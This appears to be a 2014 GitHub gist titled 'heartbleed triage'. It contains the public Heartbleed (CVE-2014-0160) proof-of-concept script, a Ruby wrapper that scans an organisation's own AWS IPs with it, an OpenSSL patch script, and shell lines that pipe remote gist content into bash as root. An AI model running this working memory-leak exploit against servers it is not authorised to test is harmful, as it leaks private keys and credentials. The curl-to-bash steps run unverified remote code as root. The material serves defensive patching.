heartbleed triage

32745.py

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')

hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')

hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False

        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True

        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == '__main__':
    main()

check-ips.rb

#!/usr/bin/env ruby

require 'thread'

iplistcmd=%q{for profile in prod dev dmz; do for region in us-west-1 us-west-2 us-east-1; do aws ec2 describe-network-interfaces --profile $profile --region $region | grep PublicIp ; done; done | sed -e 's/^.*":[[:space:]]*"\(.*\)",.*$/\1/' | sort | uniq}

iplist = `#{iplistcmd}`
threads = []

iplist.each_line do |ip|
    ip = ip.strip
    threads << Thread.new(ip) do  |ip|
        Thread.current['collected'] = false
        Thread.current['ip'] = ip
        system( "nmap #{ip} -p 443 | grep '443.*open'>/dev/null " )
        unless $? == 0 
            Thread.current['result'] = "\033[0;33m" << "#{ip} isn't running on 443 " << "\033[0m"
            Thread.exit
        end
        system("python Downloads/32745.py #{ip} | grep 'server is vulnerable' > /dev/null") 
        if $? == 0 
        Thread.current['result'] = "\033[41mVulnerable: #{ip}\033[0m"
        else
        Thread.current['result'] = "\033[32m#{ip} looks good.\033[0m"
        end
        Thread.exit
    end
end

while true
    skipped = 0
    threads.each do |th|
        if th['collected']  
            skipped += 1
            next
        end
        if th.join(0.05 )
            puts th['result']
            th['collected'] = true
            th = nil
        end
    end
    break if skipped == threads.count
end

gistfile1.txt

cat > /etc/apt/sources.list.d/ubuntu-security.list <<-EOF
deb http://security.ubuntu.com/ubuntu precise-security main
deb http://security.ubuntu.com/ubuntu precise-security universe
EOF
apt-get update;
bash -c "apt-get install openssl=1.0.1-4ubuntu5.12 libssl1.0.0=1.0.1-4ubuntu5.12 libssl-dev=1.0.1-4ubuntu5.12;"

/etc/init.d/nginx stop;
while killall -9 nginx; do sleep .1; done;
/etc/init.d/nginx start;

opensslcheck.sh

if [ "`openssl version  -a | grep 'built on'`" = "built on: Mon Apr  7 20:33:29 UTC 2014" ]; then echo -e "\033[1;32m `hostname` Patched.\033[0m"; else echo -e "\033[0;1;41m`hostname` NOT patched\033[0m"; fi

curl -L "https://gist.githubusercontent.com/dfarrell-bloom/10174541/raw/c2648ab5012dd83e05dddcf83a259e78bbff219e/gistfile1.txt" >openssl-update.sh;
for i in X Y Z; do scp openssl-update.sh root@$i: && ssh root@$i ". ./openssl-update.sh"; done

for i in X Y Z; do ssh $i "curl -L -s 'https://gist.githubusercontent.com/dfarrell-bloom/10174541/raw/7837dcda0dffb6e64751350efddcd557b2309be3/opensslcheck.sh' | bash"; done

Check a bunch of server IPs or names

for i in cat ips; do if ( nmap $i -p 443 | grep open > /dev/null); then if ( python Downloads/32745.py $i | grep server\ is\ vulnerable > /dev/null); then echo -e "\033[41mVulnerable: $i\033[0m"; else echo -e "\033[32m$i looks good.\033[0m";fi; else echo -e "\033[33m$i isn't running on 443.\033[0m";fi; done

Here is the easiest way to apply the patch

curl -L "https://gist.githubusercontent.com/dfarrell-bloom/10174541/raw/8176c1c775174242442139a64da4e6327493ef65/gistfile1.txt" | bash

@dfarrell-bloom - +1!